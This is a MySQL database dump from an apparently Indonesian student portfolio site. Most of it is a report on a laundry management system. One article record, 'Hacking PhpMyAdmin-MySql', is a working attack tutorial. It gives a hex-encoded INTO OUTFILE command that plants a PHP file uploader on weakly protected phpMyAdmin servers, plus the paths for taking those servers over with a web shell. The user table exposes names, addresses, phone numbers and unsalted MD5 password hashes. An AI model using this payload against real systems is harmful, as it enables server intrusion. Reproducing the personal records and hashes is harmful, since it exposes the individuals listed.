dapat mengolah data dengan mudah, cepat dan akurat dan membuat suatu sistem informasi secara komputerisasi untuk menampilkan informasi yang berkualitas, maka dapat diambil beberapa kesimpulan yaitu :</p>\r\n<p>Kelebihan yang diperoleh dari sistem aplikasi ini antara lain :</p>\r\n<p>1) Sistem aplikasi administrasi ini dapat meningkatkan pelayanan dan kemudahan pada saat pembuatan laporan.</p>\r\n<p>2) Pembuatan aplikasi ini sebagai fasilitas pengolahan data yang bermanfaat meminimalkan waktu yang semula pembuatan satu laporan membutuhkan waktu 2 menit dengan sistem yang baru bisa dilakukan kurang dari 1 menit untuk setiap pembuatan laporannya dan memudahkan pengolahan data bagi karyawan. Hal tersebut merupakan salah satu keuntungan yang dapat dirasakan dengan adanya perubahan dari proses manual menjadi terkomputerisasi.</p>\r\n<p>3) Sistem informasi menghasilkan jumlah informasi yang lebih banyak, lebih akurat, sehingga produktifitas meningkat.</p>\r\n<p> </p>\r\n<p><strong>SARAN</strong></p>\r\n<p>Kesempurnaan dari suatu sistem selalu bersifat relative berdasarkan pada cara pandang dan konsep dari setiap pemikiran yang berbeda serta memiliki alur yang bervariasi. Karena sistem ini dibangun berdasarkan alur pemikiran penulis, maka untuk hasil yang lebih baik dan maksimal diperlukan saran dari pihak manapun untuk melengkapi kekurangan yang ada.</p>\r\n<p>Beberapa saran dari penulis :</p>\r\n<p>1) Penulis menyarankan agar administrator ataupun pihak manajemen membuat <em>back up </em>secara <em>soft copy </em>dan <em>hard copy </em>(laporan) yang diperlukan sesering mungkin sesuai dengan kebutuhan.</p>\r\n<p>2) Penulis menyarankan agar administrator ataupun pihak manajemen lebih teliti dalam penginputan data dikarenakan oleh kelemahan sistem yang belum mampu menangani proses filterisasi secara maksimal. Untuk pengembangan selanjutnya system ini dapat dihubungkan dengan mesin timbangan sehingga berat pakaian di inputkan secara otomatis oleh system</p>', 'fachrudin-konversi-hijriah.doc', '2012-11-07 01:00:52', '2012-11-10 14:46:04', 'eni'),
(3, 'Proyek VB.Net', 'Eni Hariati', '10-11-2012', 'Malang', 'Internasional', 'http://link.com', 'VB.Net', '<p style="text-align: justify;">Akhir-akhir ini usaha jasa laundry banyak sekali di temui di setiap sudut kota bahkan sampai masuk ke desa, banyaknya jasa laundry sekarang inidi karenakan keinginan manusianya mencari yang instant dan cepat. jasa yang ditawarkan sangat beragam, Ada yang menggunakan sistem paket atau menggunakan jasa antar jemput barang. Ada juga dengan penghitungan per kg, sehingga biaya menjadi lebih murah atau konsumen juga bisa memilih jasa laundry yang di hitung per item tapi dengan biaya yang lebih mahal. Berbagai penawaran menarik di berikan oleh jasa usaha laundry untuk menarik konsumen.</p>\r\n<p style="text-align: justify;"> Kebanyakan jasa usaha laundry adalah usaha rumahan, sehingga pengelolaannya dilakukan secara manual dan sederhana, yang artinya setiap ada konsumen datang di bagian penerimaan barang harus membuatkan nota penyerahan dengan manual atau dengan kata lain masih ditulis tangan. Hal ini tentunya tidak praktis, karena memakan banyak waktu serta membutuhkan keteliatian.</p>\r\n<p style="text-align: justify;"> Sehingga dari permasalahan diatas dibuatlah sebuah aplikasi sistem informasi pada jasa usaha laundry. Hal ini yang diterapkan laundry duta binangkit, dengan paket kiloan yang tadinya sistem manual yang keakuratannya kurang sekarang beralihke sistem komputerisasi yang keakuratannya bisa diandalkan. Karena sistem manual di dalam pencatatan data harus sangat hati – hati karena jika terjadi kekeliruan maka akan mengakibatkan kerugian dan kepercayaan pelanggan akan hilang.</p>\r\n<p style="text-align: justify;"> Dimana pada aplikasi sistem informasi tersebut yang mencakup tentang penyerahan cucian, pengambilan cucian, lama pengerjaan, akan di tata dengan menggunakan aplikasi database yakni <em>Microsoft SQL server 2005 </em>serta menggunakan aplikasi antarmuka <em>Microsoft Visual Basic 2005 </em>dan penggunaan <em>Crystal report </em>untuk tampilan laporan yang akan menghasilkan sebuah tampilan yang menarik.</p>\r\n<p style="text-align: justify;"><strong> </strong></p>\r\n<p style="text-align: justify;"><strong> </strong></p>\r\n<p style="text-align: justify;"><strong> </strong></p>\r\n<p style="text-align: justify;"><strong> </strong></p>\r\n<p style="text-align: justify;"><strong>1.2. </strong><strong>Rumusan Masalah </strong></p>\r\n<p style="text-align: justify;">Rumusan masalah yang di temukan pada saat penelitian sebagian besar merupakan pada sistem pencatatan faktur yang sedang berjalan menggunakan cara manual dalam pencatatan. Diantaranya sebagai berikut :</p>\r\n<ol style="text-align: justify;">\r\n<li>Apakah transaksi yang ada sudah dapat disajikan secara cepat, tepat ?</li>\r\n<li>Apakah catatan data–data yang masuk sudah terjamin dari segi keamanan?</li>\r\n<li>Apakah laporan yang dihasilkan sudah maksimal?</li>\r\n<li>Apakah proses dalam pencacatan data transaksi sudah efisien?</li>\r\n</ol>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"><strong>1.3. </strong><strong> </strong><strong>Batasan Masalah</strong></p>\r\n<p style="text-align: justify;"><strong> </strong><strong> </strong>Dalam hal ini penulis membatasi pembahasan yang akan dibahas agar tidak menyimpang dari tujuan atau persoalan, masaalah yang akan di bahas mencakupi: data transaksi, data harga, data member, data pewangi, hasil transaksi, hasil harga, hasil <em>member</em> (pelanggan) dan hasil pewangi.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"><strong>1.4. </strong><strong>Tujuan Penelitian</strong></p>\r\n<p style="text-align: justify;">Sehubungan dengan latar belakang yang telah di jelaskan di atas, maka yang menjadi tujuan penelitian adalah :</p>\r\n<ol style="text-align: justify;">\r\n<li>untuk mengetahui sistem yang sedang berjalan pada simply fresh.</li>\r\n<li>untuk mengetahui kelemahan dan kekurangan sistem yang sedang berjalan.</li>\r\n<li>Merancang sistem komputerisasi dengan bahasa pemograman Microsoft Visual 2005 guna mengatasi kelemahan dan kekurangan yang ada.</li>\r\n</ol>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"><strong>1.5. </strong><strong> Manfaat Penelitian</strong></p>\r\n<p style="text-align: justify;">Dengan adanya sistem komputerisasi untuk transaksi dan penginputan lainnya, penulis mengharapkan semoga kerja keras penulis selama pembuatan sistem ini dapat menghasilkan banyak manfaat dan menghasilkan sistem yang lebih baik dari sebelumnya.</p>\r\n<p style="text-align: justify;"> Adapun manfaat-manfaat yang penulis maksud di atas adalah :</p>\r\n<ol style="text-align: justify;">\r\n<li>Untuk menambah wawasan penulis dalam perkembangan sebuah sistem.<ol>\r\n<li>Untuk Mehemat biaya, waktu, tenaga dalam bekerja.</li>\r\n<li>Untuk merubah dari sistem manual menjadi sistem komputerisasi.</li>\r\n<li>Agar tidak terjadi pengantrian panjang dalam melaksanakan transaksi<em>.</em></li>\r\n<li>Untuk mempermudah kasir dalam bekerja.</li>\r\n<li>Untuk mengurangi nilai kecurungan dalam perusahan tersebut.</li>\r\n<li>Untuk memperoleh laporan yang cepat dan akurat.</li>\r\n</ol></li>\r\n</ol>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong>BAB 2</strong></p>\r\n<p style="text-align: justify;" align="center"><strong>PEMBAHASAN</strong></p>\r\n<p style="text-align: justify;"><strong> </strong></p>\r\n<p style="text-align: justify;">Menu pada aplikasi laundry :</p>\r\n<p style="text-align: justify;"><strong>1. Form Splash</strong></p>\r\n<p style="text-align: justify;">Form login sebagai gerbang sebelum masuk ke menu utama. Form ini bertugas untuk membatasi siapa saja yang diperbolehkan mengakses data dengan fasilitas-fasilitas yang sudah disediakan di dalam aplikasi.</p>\r\n<p style="text-align: justify;"><strong> 2. Form login</strong></p>\r\n<p style="text-align: justify;">Form utama merupakan ruang lingkup kerja seorang <em>user. </em>Pada form ini terdapat fasilitas-fasilitas untuk mengelola data <em>resources. </em>Hanya <em>user </em>yang login dengan status Admin saja yang memiliki hak akses pada menu master, report dan menu file untuk log off dan exit.</p>\r\n<p style="text-align: justify;"><strong> 3. Form Menu Utama</strong></p>\r\n<p style="text-align: justify;">Form utama merupakan ruang lingkup kerja seorang <em>user. </em>Pada form ini terdapat fasilitas-fasilitas untuk mengelola data <em>resources. </em>Hanya <em>user </em>yang login dengan status Admin saja yang memiliki hak akses pada menu master, report dan menu file untuk log off dan exit. Jika <em>user </em>melakukan log off maka <em>user </em>dapat melakukan login ulang sesuai dengan <em>user </em>ID yang berbeda.</p>\r\n<p style="text-align: justify;"><strong> 4. Form Data Pelanggan</strong></p>\r\n<p style="text-align: justify;">Form Data Pelanggan merupakan turunan dari menu Master, form ini dugunakan untuk melakukan penambahan(<em>Add</em>), pengubahan(<em>edit</em>), penghapusan data pelanggan.</p>\r\n<p style="text-align: justify;"><strong> 5. Form jenis pakaian</strong></p>\r\n<p style="text-align: justify;">Form Jenis Pakaian merupakn turunan dari Menu Master, form ini digunakan untuk melihat jenis pakaian dan mencari jenis-jenis pakaian.</p>\r\n<p style="text-align: justify;"><strong> 6. Form Data Karyawan</strong></p>\r\n<p style="text-align: justify;">Form Data Karyawan merupakan turunan dari menu Master, form ini dugunakan untuk melakukan penambahan(<em>Add</em>), pengubahan(<em>edit</em>), penghapusan data-data karyawan.</p>\r\n<p style="text-align: justify;"><strong> 7. Form transaksi</strong></p>\r\n<p style="text-align: justify;">Form Transaksi digunakan untuk menginputkan data-data tansaksi.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;">Berikut detail harga yang kami tawarkan:</p>\r\n<table style="width: 543px;" border="0" cellspacing="0" cellpadding="0">\r\n<tbody>\r\n<tr>\r\n<td colspan="4" width="543">\r\n<p> <strong>Laundry </strong><strong>Kiloan</strong></p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Baju Muslim selutut </p>\r\n</td>\r\n<td>\r\n<p> Rp. 9.000 </p>\r\n</td>\r\n<td>\r\n<p>Stelan Mukena </p>\r\n</td>\r\n<td>\r\n<p> Rp. 8.500 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Baju Muslim Satu stel </p>\r\n</td>\r\n<td>\r\n<p> Rp. 11.000 </p>\r\n</td>\r\n<td>\r\n<p>Selendang </p>\r\n</td>\r\n<td>\r\n<p> Rp. 5.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Safari </p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.000 </p>\r\n</td>\r\n<td>\r\n<p>Swaeter </p>\r\n</td>\r\n<td>\r\n<p> Rp. 6.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Safari satu stel </p>\r\n</td>\r\n<td>\r\n<p> Rp. 10.000 </p>\r\n</td>\r\n<td>\r\n<p>BedCover :</p>\r\n</td>\r\n<td>\r\n<p> </p>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<p style="text-align: justify;"> </p>\r\n<table style="width: 543px;" border="0" cellspacing="0" cellpadding="0">\r\n<tbody>\r\n<tr>\r\n<td>\r\n<p>Blazer </p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.000 </p>\r\n</td>\r\n<td>\r\n<p> > Single / Kecil</p>\r\n</td>\r\n<td>\r\n<p> Rp. 10.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Blazer satu stel </p>\r\n</td>\r\n<td>\r\n<p> Rp. 10.000 </p>\r\n</td>\r\n<td>\r\n<p>> Double / Besar</p>\r\n</td>\r\n<td>\r\n<p> Rp. 15.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Blus </p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.000 </p>\r\n</td>\r\n<td>\r\n<p>Boneka :</p>\r\n</td>\r\n<td>\r\n<p> </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Celana Pendek </p>\r\n</td>\r\n<td>\r\n<p> Rp. 5.500 </p>\r\n</td>\r\n<td>\r\n<p>> Mini</p>\r\n</td>\r\n<td>\r\n<p> Rp. 3.000 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Celana Panjang </p>\r\n</td>\r\n<td>\r\n<p> Rp. 6.000 </p>\r\n</td>\r\n<td>\r\n<p>> Kecil</p>\r\n</td>\r\n<td>\r\n<p> Rp. 5.500 </p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<p>Celana Jeans </p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.000 </p>\r\n</td>\r\n<td>\r\n<p>> Sedang</p>\r\n</td>\r\n<td>\r\n<p> Rp. 7.500 </p>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;" align="center"><strong> </strong></p>\r\n<p style="text-align: justify;" align="center"><strong>BAB 3</strong></p>\r\n<p style="text-align: justify;" align="center"><strong>PENUTUP</strong></p>\r\n<p style="text-align: justify;"><strong>KESIMPULAN</strong></p>\r\n<p style="text-align: justify;">Berdasarkan penelitian dan perancangan yang dikerjakan dan mengacu pada rumusan masalah yang ada yaitu bagaimana suatu perusahaan dapat mengolah data dengan mudah, cepat dan akurat dan membuat suatu sistem informasi secara komputerisasi untuk menampilkan informasi yang berkualitas, maka dapat diambil beberapa kesimpulan yaitu :</p>\r\n<p style="text-align: justify;">Kelebihan yang diperoleh dari sistem aplikasi ini antara lain :</p>\r\n<p style="text-align: justify;">1) Sistem aplikasi administrasi ini dapat meningkatkan pelayanan dan kemudahan pada saat pembuatan laporan.</p>\r\n<p style="text-align: justify;">2) Pembuatan aplikasi ini sebagai fasilitas pengolahan data yang bermanfaat meminimalkan waktu yang semula pembuatan satu laporan membutuhkan waktu 2 menit dengan sistem yang baru bisa dilakukan kurang dari 1 menit untuk setiap pembuatan laporannya dan memudahkan pengolahan data bagi karyawan. Hal tersebut merupakan salah satu keuntungan yang dapat dirasakan dengan adanya perubahan dari proses manual menjadi terkomputerisasi.</p>\r\n<p style="text-align: justify;">3) Sistem informasi menghasilkan jumlah informasi yang lebih banyak, lebih akurat, sehingga produktifitas meningkat.</p>\r\n<p style="text-align: justify;"> </p>\r\n<p style="text-align: justify;"><strong>SARAN</strong></p>\r\n<p style="text-align: justify;">Kesempurnaan dari suatu sistem selalu bersifat relative berdasarkan pada cara pandang dan konsep dari setiap pemikiran yang berbeda serta memiliki alur yang bervariasi. Karena sistem ini dibangun berdasarkan alur pemikiran penulis, maka untuk hasil yang lebih baik dan maksimal diperlukan saran dari pihak manapun untuk melengkapi kekurangan yang ada.</p>\r\n<p style="text-align: justify;">Beberapa saran dari penulis :</p>\r\n<p style="text-align: justify;">1) Penulis menyarankan agar administrator ataupun pihak manajemen membuat <em>back up </em>secara <em>soft copy </em>dan <em>hard copy </em>(laporan) yang diperlukan sesering mungkin sesuai dengan kebutuhan.</p>\r\n<p style="text-align: justify;">2) Penulis menyarankan agar administrator ataupun pihak manajemen lebih teliti dalam penginputan data dikarenakan oleh kelemahan sistem yang belum mampu menangani proses filterisasi secara maksimal. Untuk pengembangan selanjutnya system ini dapat dihubungkan dengan mesin timbangan sehingga berat pakaian di inputkan secara otomatis oleh system</p>', 'menuTut.psd', '2012-11-10 01:46:50', '2012-11-15 23:57:26', 'eni'),
(4, 'Hacking PhpMyAdmin-MySql', 'Muhammad Ridwan', '10-11-2012', 'Malang', 'Jurnal Internasional', 'http://ilmu-komputer.com', 'Database', '<p style="text-align: justify;">Phpmyadmin merupakan manager untuk mengatur database mysql dimana phpmyadmin ini merupakan manager bawaan dari paket instalasi web server – my sql semacam Xampp,Wamp dan Lamp(versi linux).Untuk tampilan phpmyadmin sebgai berikut:</p>\r\n<p style="text-align: justify;">Dari sini kita bisa mengakses database – database yang ada pada system J. Namun sayang, banyak pengguna phpmyadmin(xampp,lamp,wamp) yang tidak mengetahui setting atau configurasi yang aman sehingga memungkinkan attacker atau hacker mampu menguasai server target J.</p>\r\n<p style="text-align: justify;">3.Mengetest bug dan melancarkan Serangan!!!</p>\r\n<p style="text-align: justify;">Beberapa admin atau pengguna xampp/wamp/lamp meng configurasi phpmyadminnya dengan password yang lemah sehingga mudah di tebak oleh hacker dan bahkan banyak juga phpmyadmin yang tidak di beri password!!hal ini memungkinkan hacker menguasai system target!!. Bagaimana hal ini bisa terjadi??berikut langkah-langkah yang di lakukan oleh hacker dalam melakukan serangan ini:</p>\r\n<p style="text-align: justify;"> a.pertama – tama hacker mengecek apakah phpmyadmin bisa di akses pada server target dan mempunyai password yang jelek, atau bahkan tidak berpassword!!</p>\r\n<p style="text-align: justify;">Jika hacker berhasil meng akses phpmyadmin pada system target,maka yang di lakukan oleh hacker selanjutnya adalah memilih menu “Show MySql system variables”</p>\r\n<p style="text-align: justify;">Dari sini akan tampil menu dengan gambaran seperti ini:</p>\r\n<p style="text-align: justify;">Dari sini akan muncul variabel2 yang di gunakan oleh server tersebut,termasuk PATH location dari xampp.Setelah itu kita memilih menu “SQL”,dimana dari menu ini kita bisa menjalankan perintah-perintah sql,seperti select,union,drop dll. Namun sekarang yang akan kita lakukan adalah memakai perintah into outfile,dimana perintah ini akan memerintahkan server untuk membuat sebuah file. File apa???tentu saja file yang bisa di gunakan untuk memerintah server,yaitu phpshell J.</p>\r\n<p style="text-align: justify;">Sebenarnya dengan perintah into outfile, kita sudah bisa membuat file phpshell ke dalam server target,namun karna pertimbangan bandwidth dan waktu (dimana file phpshell berukuran cukup besar) , maka kita sekarang akan menciptakan file uploader saja,dimana ukuran file uploader ini sudah saya minimalisasi sekecil mungkin,jadi saat create file,phpmyadmin tidak akan terlalu lama dan memakan banyak bandwidth J. Berikut gambaran perintah yang di lakukan untuk membuat file uploader:</p>\r\n<p style="text-align: justify;">Di situ terlihat kode 0x3C3F206563…..bla..bla..bla…apa itu???heheheheh,sabar-sabar akan saya jelaskan.kode aneh tersebut sebenarnya merupakan kode ascii (dalam hexa) file uploader kita. Kenapa menggunakan hexa segala???karna dengan begini kita bisa mengatasi keterbatasan pada Sql pada penanganan string dengan huruf-huruf khusus yang mungkin terdapat pada file uploader kita,semacam “ (tanda petik dua) dan lainnya J,karna kita tidak mau mengambil resiko gagal,maka kita pastikan saja dengan membuat kode ascii nya file uploader kita dalam hexa J.</p>\r\n<p style="text-align: justify;"> Dimana perintah lengkapnya sebagai berikut :</p>\r\n<p style="text-align: justify;">Select 0x3C3F206563686F20223C666F726D206D6574686F643D27504F53542720656E63747970653D276D756C7469706172742F666F726D2D64617461273E3C696E70757420747970653D2766696C6527206E616D653D2766696C656C65272073697A653D273434273E3C696E70757420747970653D277375626D6974273E3C2F666F726D3E223B40636F707928245F46494C45535B2766696C656C65275D5B27746D705F6E616D65275D2C245F46494C45535B2766696C656C65275D5B276E616D65275D293B3F3E into outfile ‘D:/xampp/phpmyadmin/upl.php’</p>\r\n<p style="text-align: justify;">Dimana path D:/xampp telah kita dapatkan dari menu “show system variables” J,daripath itu kita menambahi path dengan /phpmyadmin/namafile.php J,dimana artinya kita akan meng create file namafile.php di dalam server J.lalu kenapa memakai / (slash) dan bukannya (backslash) seprti pada windows pada umumnya? Seperti D:xampp ??</p>\r\n<p style="text-align: justify;">Akan saya jelaskan kenapa kita memakai / dan bukannya .perlu anda ketahui bahwa dalam pemrograman php dan Sql tanda (backslash) cukup penting di pakai untuk membuat karakter khusus, semacam yang berarti newline pada kode php. Maka sebagai gantinya kita memakai / seprti pada path linux J.Lanjut!!!</p>\r\n<p style="text-align: justify;">Dari perintah tadi,kita akan mendapatkan laporan bahwa perintah telah di laksanakan:</p>\r\n<p style="text-align: justify;">Nah,karna file kita sudah tercipta di server target maka kita tinggal mengaksesnya melalui browser dengan path:</p>\r\n<p style="text-align: justify;"><a href="http://www.servertarget.com/phpmyadmin/namafile.php">www.servertarget.com/phpmyadmin/namafile.php</a></p>\r\n<p style="text-align: justify;">dengan gambaran semacam ini:</p>\r\n<p style="text-align: justify;">Nah dari sinilah kita bisa meng – upload file phpshell yang akan kita gunakan untuk mengendalikan server target!!dan BOOMMM!!server target terkuasai J.</p>\r\n<p style="text-align: justify;">Yang perlu anda perhatikan di sini adalah untuk path standart xampp dan wamp sangat berbeda,artinya anda harus tahu pasti apakah target memakai wamp atau xampp (ketahuan pada menu phpmyadminnnya). Untuk wamp, anda bisa mengcreate file dengan path:</p>\r\n<p style="text-align: justify;">Pada xampp:</p>\r\n<p style="text-align: justify;">Variables/phpmyadmin/namafile.php</p>\r\n<p style="text-align: justify;">Ex: D:/xampp/phpmyadmin/upl.php</p>\r\n<p style="text-align: justify;">Dan dapat di akses di browser dengan alamat</p>\r\n<p style="text-align: justify;"><a href="http://www.server.com/phpmyadmin/upl.php">www.server.com/phpmyadmin/upl.php</a></p>\r\n<p style="text-align: justify;">sedang Pada wamp:</p>\r\n<p style="text-align: justify;">Variables/www/namafile.php</p>\r\n<p style="text-align: justify;">Ex: D:/wamp/www/upl.php</p>\r\n<p style="text-align: justify;">Dan dapat di akses di browser dengan alamat</p>\r\n<p style="text-align: justify;"><a href="http://www.server.com/upl.php">www.server.com/upl.php</a></p>', '', '2012-11-10 22:22:29', '2012-11-16 00:02:55', 'ridwan');
-- --------------------------------------------------------
--
-- Struktur dari tabel `riwayat_pekerjaan`
--
CREATE TABLE IF NOT EXISTS `riwayat_pekerjaan` (
`riwayat_pekerjaan` int(11) NOT NULL AUTO_INCREMENT,
`nama` varchar(100) NOT NULL,
`jabatan` varchar(100) NOT NULL,
`daerah` varchar(100) NOT NULL,
`keterangan` text NOT NULL,
`tahun_masuk` year(4) NOT NULL,
`tahun_keluar` year(4) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
`pemilik_pekerjaan` varchar(100) NOT NULL,
PRIMARY KEY (`riwayat_pekerjaan`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
--
-- Dumping data untuk tabel `riwayat_pekerjaan`
--
INSERT INTO `riwayat_pekerjaan` (`riwayat_pekerjaan`, `nama`, `jabatan`, `daerah`, `keterangan`, `tahun_masuk`, `tahun_keluar`, `createddate`, `lastupdatedate`, `pemilik_pekerjaan`) VALUES
(1, 'gjhgjggjg', 'gjgggjg', 'malang', 'ghghghhg', 1916, 1916, '2012-11-06 10:12:19', '2012-11-07 01:02:14', 'gelby'),
(2, 'sfffffffffffffffffff', 'ffffffffffffffffff', 'ffffffffffffff', 'ffffffffffffffffffff', 1917, 1913, '2012-11-07 01:00:12', '0000-00-00 00:00:00', 'eni');
-- --------------------------------------------------------
--
-- Struktur dari tabel `riwayat_pendidikan`
--
CREATE TABLE IF NOT EXISTS `riwayat_pendidikan` (
`riwayat_pendidikan` int(11) NOT NULL AUTO_INCREMENT,
`nama` varchar(100) NOT NULL,
`keterangan` text NOT NULL,
`tahun_masuk` year(4) NOT NULL,
`tahun_keluar` year(4) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
`pemilik_pendidikan` varchar(100) NOT NULL,
PRIMARY KEY (`riwayat_pendidikan`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
--
-- Dumping data untuk tabel `riwayat_pendidikan`
--
INSERT INTO `riwayat_pendidikan` (`riwayat_pendidikan`, `nama`, `keterangan`, `tahun_masuk`, `tahun_keluar`, `createddate`, `lastupdatedate`, `pemilik_pendidikan`) VALUES
(1, 'SMA Ibrahimy', 'gjgggjjgjgjg', 1901, 1904, '2012-11-06 10:11:45', '2012-11-07 01:02:07', 'gelby'),
(2, 'gdgdgss', 'dgfdsgg', 1904, 1906, '2012-11-07 00:59:47', '0000-00-00 00:00:00', 'eni'),
(3, 'gdssssssssss', 'sssssssssssss', 1907, 1912, '2012-11-07 00:59:58', '0000-00-00 00:00:00', 'eni');
-- --------------------------------------------------------
--
-- Struktur dari tabel `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id_user` int(11) NOT NULL AUTO_INCREMENT,
`nip` varchar(25) NOT NULL,
`nama_lengkap` varchar(100) NOT NULL,
`tempat` varchar(100) NOT NULL,
`tanggal` varchar(15) NOT NULL,
`pendidikan` varchar(100) NOT NULL,
`alamat` varchar(100) NOT NULL,
`telepon` varchar(25) NOT NULL,
`hp` varchar(25) NOT NULL,
`agama` varchar(15) NOT NULL,
`email` varchar(100) NOT NULL,
`aktif` char(1) NOT NULL,
`username` varchar(100) NOT NULL,
`kata_sandi` varchar(100) NOT NULL,
`level` int(1) NOT NULL,
`createddate` datetime NOT NULL,
`lastupdatedate` datetime NOT NULL,
`lastupdateuser` int(15) NOT NULL,
`lastlogin` datetime NOT NULL,
PRIMARY KEY (`id_user`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
--
-- Dumping data untuk tabel `user`
--
INSERT INTO `user` (`id_user`, `nip`, `nama_lengkap`, `tempat`, `tanggal`, `pendidikan`, `alamat`, `telepon`, `hp`, `agama`, `email`, `aktif`, `username`, `kata_sandi`, `level`, `createddate`, `lastupdatedate`, `lastupdateuser`, `lastlogin`) VALUES
(1, '106403020005', 'Ahmad Helwi Dinoto', 'Situbondo', '28-01-1989', 'AMIK Ibrahimy', 'Wringin Anom - Asembagus - Situbndo', '082333535333', '082333535333', 'Islam', '[email protected]', 'Y', 'admin', '21232f297a57a5a743894a0e4a801fc3', 1, '0000-00-00 00:00:00', '2012-11-06 00:42:31', 1, '2012-11-22 23:37:13'),
(2, '5555555555555', 'hendra', 'Sumenep', '01-04-1993', 'SMAN 1 Sumenep', 'Sumenep', '081111111111', '085555555555', 'Islam', '[email protected]', 'Y', 'hendra', 'a04cca766a885687e33bc6b114230ee9', 2, '2012-11-06 00:41:49', '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00');
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;